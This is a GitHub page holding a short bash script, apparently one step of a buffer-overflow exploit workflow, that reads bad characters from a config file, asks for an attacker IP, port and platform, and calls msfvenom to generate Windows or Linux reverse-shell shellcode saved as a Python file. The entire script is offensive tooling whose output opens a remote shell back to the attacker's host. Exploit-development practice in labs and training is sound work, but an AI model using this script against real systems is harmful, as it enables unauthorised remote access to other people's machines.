-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy path7_generate_shellcode.sh
executable file
·33 lines (28 loc) · 1.1 KB
/
7_generate_shellcode.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/bash
cat ./config.py | grep BADCHARS | cut -d "[" -f2 | cut -d "]" -f1 > badchars.txt
sed -i 's/0x/\\x/g' badchars.txt
sed -i 's/,//g' badchars.txt
sed -i 's/\ //g' badchars.txt
bad=$(cat ./badchars.txt)
echo ""
echo -n " LHOST : "; read ip
echo -n " LPORT : "; read port
echo ""
echo " PLATFORM"
echo " (l = linux/x86/shell_reverse_tcp; w = windows/shell_reverse_tcp)"
echo -n " : "; read p
case $p in
w)
echo "# msfvenom -p windows/shell_reverse_tcp -b "\"$bad\"" -f python --var-name shellcode LHOST=$ip LPORT=$port EXITFUNC=thread" > shellcode.py
msfvenom -p windows/shell_reverse_tcp -b "'$bad'" -f python --var-name shellcode LHOST=$ip LPORT=$port EXITFUNC=thread >> shellcode.py
;;
l)
echo "# msfvenom -p linux/x86/shell_reverse_tcp -b "\"$bad\"" -f python --var-name shellcode LHOST=$ip LPORT=$port EXITFUNC=thread" > shellcode.py
msfvenom -p linux/x86/shell_reverse_tcp -b "'$bad'" -f python --var-name shellcode LHOST=$ip LPORT=$port EXITFUNC=thread >> shellcode.py
;;
*)
echo "Illegal choice"
exit 1
esac
sed -i 's/= b\"/= \"/g' shellcode.py
sed -i 's/= b\"/= \"/g' shellcode.py